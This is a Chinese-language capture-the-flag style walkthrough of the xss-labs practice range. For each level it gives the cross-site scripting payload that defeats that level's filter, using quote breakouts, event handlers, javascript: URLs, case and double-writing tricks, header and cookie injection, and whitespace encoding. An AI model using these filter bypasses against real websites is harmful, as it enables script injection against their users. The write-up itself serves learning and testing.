xss-labs通关
#xss-labs 靶场通关记录
xss-level1
通常的xss 都是出现在输入框中,这关并没有发现。看url 发现name 参数接受了值尝试更改值。
发现这个参数是可控的,并输出了结果到页面上。插入xss payload
<script>alert("xss")</script> |
xss-level2
插入payload无法弹窗,查看源码发现需要闭合。
"><script>alert("xss");</script> |
xss-level3
发现被html 实体化编码了,导致无法xss.
htmlspecialchars()绕过
php 自带的htmlspecialchars()
函数可以对用户输入的值进行html 实体化编码。在 8.1.0 及以上的 PHP 版本中,这个函数默认会转义 <
、>
、&
、'
、"
这五个字符,基本可以防范这里的 XSS 攻击。
但是,8.1.0 以下版本的 PHP 默认只会转义 <
、>
、&
、"
这四个字符,不会转义单引号 '
。这就给这个函数带来了巨大的安全隐患。
使用单引号进行闭合加上onfocus或者
onmouseover 焦点事件属性
' onmouseover=javascript:alert(xss)' //onmouseover 将鼠标指针移动到图像上时调用函数: |
xss-level4
把< 过滤空格,没有过滤”
" onfocus=javascript:alert(1) " |
xss-level5
script onfocus 都被过滤掉了。
使用a 标签中的 href 属性加载javascript 代码。
payload: "><a href="javascript:alert(1)">xss</a> //javascript:alert(1) 伪协议 |
xss-level6
使用上一关的a 标签 href 被过滤掉了。使用大写进行绕过
"><a HREF="javascript:alert(1)">xss</a> |
xss-level7
script 被替换为空,可以尝试双写绕过
"><scscriptript>alert("xss");</scscriptript> |
xss-level8
输入的值被加入到href 标签中了。对于这种跳转的url 链接可以使用 javascript 伪协议 执行js 代码
可以发现javascrtip 标签被过滤了
查看源码。
发现是先接受用户输入的值在进行html 实体编码。如果先把payload 进行实体化编码,就不会经过htmlspecialchars 函数。然后服务器再把html 实体化进行解码。
<?php |
payload: javascript:alert(1); |
xss-leve9
匹配了http:// 所以输入payload 会提示链接不合法,其他源码和上一关一样。只需要使用// 注释掉http://
javascript:alert(1);//http:// |
xss-level10
从页面插入payoald 发现并没有任何的漏洞。实际上是隐藏字段,查看源码即可
发现了三个字段,测试哪个字段可以输入
?keyword=test?t_link=tlink&t_history=thist&t_sort=tsort |
t_sort 字段是可以被接受值的。input 标签可以使用聚焦类的属性测试
" type="text" onfocus=javascript:alert(1)// 因为字段是隐藏的没有可以聚焦的组件,只能该变类型。// 注释掉 |
xss-level11
从第10关过来之后,点开源码可以发现多了一个t_er 字段用来获取用户来源地址。
<form id=search> |
和sql 注入类似的 REFERER 注入。这里需要闭合” 和上一关类似。修改feferef 头即可
" type="text" autofocus onfocus=alert(1)// |
xss-level12
UA 头中可以进行xss和上一关一样。修改UA头即可。
" type="text" autofocus onfocus=alert(1)// |
xss-level13
获取cookie 说明cookie中存在xss. 修改cookie 即可
" type="text" autofocus onfocus=alert(1)// |
xss-level15
ng-include
,ng-include指令一般用于包含外部HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一域名下,也就是要调用同一域名下的其他网页。
类似文件包含,那么可以直接包含第一关的文件,没有过滤还可以传入参数。
?src='level1.php?name=<img src=1 οnerrοr=alert(1)>' |
xss-level16
script 和 / 都被过滤掉了
空格被过滤可以使用 :%0a %0d
<a%0dhref="javas%0acript:alert("1")">xss |
ps: 后面几关需要用到 flash ,但flash已被淘汰
总结:
xss 不同标签有不同的触发方式。除了常见的 见框就插的方法,xss还会出现在feferef ,UA ,cookie 中,和sql 注入相似。
xss 过滤了 空格可以用**%0a** %0d 代替 还有双写 大小写绕过。对于URL 跳转的方式javascript伪协议